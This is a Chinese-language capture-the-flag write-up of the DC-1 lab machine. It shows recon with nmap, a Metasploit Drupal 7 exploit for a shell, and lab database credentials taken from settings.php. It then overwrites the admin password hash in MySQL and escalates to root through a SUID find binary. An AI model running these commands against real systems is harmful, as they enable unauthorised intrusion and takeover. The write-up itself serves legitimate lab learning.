简介
DC-1靶场练习
一.信息收集
①收集靶机IP
netdiscover
推测靶机IP为192.168.43.141
②收集端口
nmap -p- -T4 192.168.43.141
二.web漏洞探测
有80端口进入web页面,发现有登录框,尝试sql注入,发现不行
突破口:打开火狐的wappalyzer发现有CMS且版本为Drupal7。
打开kali
kali>sudo msfconsole #在kali上打开msf
msf>search drupal #找对应模块的漏洞
use 1
show options #展示模块选项设置
set rhosts 192.168.43.141 #设置目的主机
run #启动模块
运行成功,进入到meterpreter继续执行命令操作
meterpreter>sysinfo
shell
python -c "import pty;pty.spawn('/bin/bash')"
#👆适用于目的主机上有python时的获得shell
通过python命令成功获得shell
三.shell
①文件探测
flag1
文件路径:/var/www/flag1.txt
这里提到CMS的配置文件
flag2
根据flag1的提示我们去找CMS的配置文件
文件位置:/sites/default/settings.php
文件内容如图:
这里我们能够获取到数据库的账号密码,我们在后续可以试着去连接数据库
flag2的提示是爆破并不是唯一的方式,然后下面就给出我们数据库的信息,暗示我们有时候字典爆破不是唯一的解决方法,结合数据库可知让我们通过数据库去登录网页
flag4
在/home/flag4文件夹下我们找到了flag4.txt
内容如上
这里很明显提示我们去root目录下,也就是说让我们去提权
②数据库交互
shell>mysql -udbuser -pR0ck3t
成功连接到数据库,执行下列指令
mysql>show databases;
use drupaldb;
show tables; #发现user表,我们去查看
select * from users\G;
成功获取user表
select后面的\G能够使得查询结果纵向表示,看起来更直接直观
如图:
我们拿到密码哈希,我们用kali的解密工具去解密
kali>hash -identifier
HASH>密文
解密结果如下
如图,用kali的解密工具解不出来,说明解密这条路行不通,由于我们能进入数据库,因此我们不妨试着直接去修改用户密码,但在此之前我们需要利用这个靶场自带的加密文件去将我们要替换的密码进行加密
find . -name "*hash*" #返回哈希加密文件的路径
./scripts/password-hash.sh 123456 #执行脚本文件对123456加密,返回加密结果
成功得到加密结果之后,我们拿结果去更新原密码
mysql>update users set pass = '加密结果' where uid = 1;
如图成功替换
我们拿账号admin和替换后的密码123456去登陆网页
flag3
我们登录进去后,去访问各个页面,发现找到flag3文件
这里的提示提到我们可以用-exec去得到shadow,具体含义不是特别懂,但应该是和提权相关
③提权(flag5)
根据flag4的提示可知,我们现在需要提权,去root目录下找最终的flag
先去根目录下通过
find / -perm -u=s -type f 2>/dev/null
来查看自动以root权限运行的文件
发现有find,再结合我们flag3的提示-exec
我们跳转到flag4文件夹下去用find提权
find / -exec “/bin/bash” -p ;
如下图所示:
然后我们验证权限以及去root目录下找flag5
到这里完结撒花!!!
总结
①如果网站有CMS,我们可以尝试用kali的msfconsole去利用漏洞从而拿到shell。
②如果我们能进入到数据库,查看数据只是我们的一小部分权限,我们有时候可以利用诸如更新等权限去修改数据库内容从而实现我们的登录。
③在这里学到kali的解密工具hash-identifier,以及我们也可以直接去寻找本地的哈希加密文件。
当然写这篇博客的时候,提权的部分由于用的少思路不算特别清晰,如果文章有什么改进之处欢迎大家评论区提出